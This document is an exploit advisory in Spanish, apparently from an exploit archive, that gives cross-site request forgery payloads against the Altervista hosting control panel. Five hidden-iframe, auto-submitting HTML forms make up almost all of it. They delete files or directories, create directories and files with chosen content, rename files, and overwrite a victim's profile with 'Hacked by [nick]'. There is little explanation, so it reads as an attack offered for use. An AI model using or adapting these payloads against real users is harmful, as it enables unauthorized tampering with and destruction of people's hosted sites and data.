# Altervista Arbitrary Command Execution (CSRF)
# Found by 0x90
# Greetz: ...
# Visit: WwW.0x90.CoM.Ar
# Contact: Guns[at]0x90[dot]com[dot]ar



#Exploit:

#1 - Borrar Archivo O Directorio

<iframe src="http://[server].altervista.org/canc.pl?sid=&FH0=[filename]&Conferma=1" height=0 width=0>

#2 - Crear Directorio

<iframe name="asd" frameborder="0" height="0" width="0"></iframe> 
<form name="form" action="http://[server].altervista.org/makedir.pl?sid=" target="asd" method=post>
<input type=hidden name="DIR_Nuova" value="[directory name]">
</form><script>document.form.submit()</script>

#3 - Crear Archivo


<iframe name="asd" frameborder="0" height="0" width="0"></iframe>
<form method="post" action="http://[server].altervista.org/salva.pl?sid=" name="form" target="asd">
<input name="testo" wrap="virtual" type=hidden value="[FILE TEXT]">
<input name="FH" value="[FILE NAME]" type=hidden>
</form><script>document.form.submit()</script>


#4 - Cambiar nombre de directorio o archivo


<iframe name="asd" frameborder="0" height="0" width="0"></iframe>
<form method="post" action="http://[server].altervista.org/rinomina.pl?sid=" name="form" target="asd">
<input type="hidden" name="FHOLD" value="[OLD FILE NAME]">
<input name="FH" value="[NEW FILE NAME]" type="hidden">
<input type="hidden" name="Conferma" value="1">
</form><script>document.form.submit()</script>


#5 - Cambiar informacion personal


<iframe name="asd" frameborder="0" height="0" width="0"></iframe>
<form name="dati" method="post" action="http://[server].altervista.org/salva_profilo.pl?sid=" name="form" target="asd">
<input type="hidden" name="Azione" value="cambia_dati">
<input type="hidden" name="NomeCompleto" value="Hacked by [nick]">
<input type="hidden" name="Indirizzo" value="WoW">
<input class=text type=hidden name="Citt" VALUE="Tuc">
<input type="hidden" name="Provincia" value="MI">
<input type="hidden" name="Cap" value="20147">
<input type="hidden" name="Tel" value="N/D">
</form><script>document.form.submit()</script>